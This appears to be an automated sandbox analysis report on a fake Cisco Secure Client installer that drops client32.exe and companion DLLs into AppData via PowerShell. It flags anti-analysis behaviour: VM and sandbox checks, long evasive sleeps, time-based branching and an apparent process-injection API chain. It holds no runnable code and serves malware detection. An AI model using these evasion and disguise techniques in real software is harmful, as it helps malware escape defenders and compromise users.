Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LO7QV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-13C42.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O6HT8.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui_toast.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapishim.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.sys (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-2J33H.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-LMS1D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_system.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K9DFT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnmgmttun.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C8R9M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncli.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-FCDNQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-6FEVR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-FRTV6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\cfom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-UP6H5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0IGCD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-BSCSU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3H81M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-139DF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\ac_sock_fltr_api.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_thread.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscocrypto.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acextwebhelper.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-KC1BF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagentutilities.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-ULT5V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-M1NCB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\VACon64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\Uninstall.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acfeedback.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommoncrypt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LU7CG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T40JR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\concrt140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagent.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-PS1DU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C9M46.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\is-AB2VI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-GKS0T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_filesystem.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-RJSOM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O7USL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-QC4EE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K8IRC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O8UOD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acruntime.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\accurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-8QMTQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva64-6.sys (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7ARTU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_chrono.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3MUNV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\is-V7O6A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscossl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vccorlib140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-0667M.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HI577.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_date_time.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-42UFL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpndownloader.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vcruntime140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-BKQ26.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommon.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\is-BOBU7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-DSLII.tmp	Jump to dropped file

Found evaded block containing many API calls

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision	graph_7-83036
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision	graph_7-85940
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision	graph_7-86032
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision	graph_7-86220
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision	graph_7-86254
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Evaded block: after key decision

Found evasive API chain checking for process token information

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_7-82538

Found large amount of non-executed APIs

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	API coverage: 6.1 %
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	API coverage: 2.9 %

May check if the current machine is a sandbox (GetTickCount - Sleep)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_685A4F30

7_2_685A4F30

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1800	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe TID: 2020	Thread sleep time: -52250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe TID: 5440	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe TID: 2020	Thread sleep time: -1998250s >= -30000s	Jump to behavior

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Last function: Thread delayed

Uses the system / local time for branch decision (may execute only at specific dates)

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_685A3130 GetSystemTime followed by cmp: cmp eax, 02h and CTI: je 685A3226h

7_2_685A3130

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11123570 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_11123570
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11069690 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_11069690
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1110BB80 GetLocalTime,wsprintfA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,ExpandEnvironmentStringsA,CreateFileA,timeBeginPeriod,GetLocalTime,timeGetTime,_memset,WriteFile,	7_2_1110BB80
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11107FE0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_11107FE0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110BC3D0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	7_2_110BC3D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1102CE2D InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE2D
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11064E30 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_11064E30
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1102CE2D InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	8_2_1102CE2D
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11123570 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	8_2_11123570
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1110BB80 GetLocalTime,wsprintfA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,ExpandEnvironmentStringsA,CreateFileA,timeBeginPeriod,GetLocalTime,timeGetTime,_memset,WriteFile,	8_2_1110BB80
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11107FE0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	8_2_11107FE0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110BC3D0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	8_2_110BC3D0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: VMware
Source: client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla]h*
Source: client32.exe, 00000007.00000002.4141243158.000000000045E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`q%
Source: is-FRTV6.tmp.1.dr	Binary or memory string: %d.%d.%dUnknownWin9xWinNTgetWindowsEdition(): Could not get OS Edition lengthC:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\ACRuntime\library\OSVersionAPI.cppGetOsVersionGetOsVersion(): Could not get OS EditionGetVersionEx call failed with error: %dgetWindowsEditionWindows VistaWindows Server 2008Windows 7Windows Server 2008 R2Windows 8Windows Server 2012Windows 8.1Windows Server 2012 R2Windows 11Windows 10Windows Server 2016Windows Server 2019Windows Server 2022Windows ServerGetProductInfo%s UnknownUltimateUltimate EUltimate NProfessionalProfessional EProfessional NProfessional with Media CenterHome BasicHome Basic EHome Basic NHome PremiumHome Premium EHome Premium NEnterpriseBusinessStarterStarter EStarter NEnterprise EHomeHome ChinaHome NHome Single LanguageEnterprise EvaluationEnterprise NEnterprise N EvaluationEnterprise 2015 LTSBEnterprise 2015 LTSB EvaluationEnterprise 2015 LTSB NEnterprise 2015 LTSB N EvaluationMobileMobile EnterpriseUnlicensedDatacenter (evaluation installation)Datacenter (full installation)Datacenter (core installation)Datacenter without Hyper-V (core installation)Datacenter without Hyper-V (full installation)Enterprise (full installation)Enterprise (core installation)Enterprise without Hyper-V (core installation)Enterprise for Itanium-based SystemsEnterprise without Hyper-V (full installation)Essential Server Solution AdditionalEssential Server Solution Additional SVCEssential Server Solution ManagementEssential Server Solution Management SVCHome Server 2011Storage Server 2008 R2 EssentialsMicrosoft Hyper-V ServerEssential Business Server Management ServerEssential Business Server Messaging ServerEssential Business Server Security ServerMultiPoint Server Premium (full installation)MultiPoint Server Standard (full installation)Small Business Server 2011 EssentialsFor SB Solutions EMFor SB SolutionsFor Essential Server SolutionsWithout Hyper-V for Windows Essential Server SolutionsFoundationSmall Business ServerSmall Business Server PremiumSmall Business Server Premium (core installation)MultiPoint ServerStandardStandard (core installation)Standard without Hyper-V (core installation)Standard without Hyper-VStandard Solutions PremiumStandard Solutions Premium (core installation)Storage Server EnterpriseStorage Server Enterprise (core installation)Storage Server ExpressStorage Server Express (core installation)Storage Server Standard (evaluation installation)Storage Server StandardStorage Server Standard (core installation)Storage Server Workgroup (evaluation installation)Storage Server WorkgroupStorage Server Workgroup (core installation)HPC EditionServer Hyper Core VWeb Server (full installation)Web Server (core installation)%s %s$
Source: client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
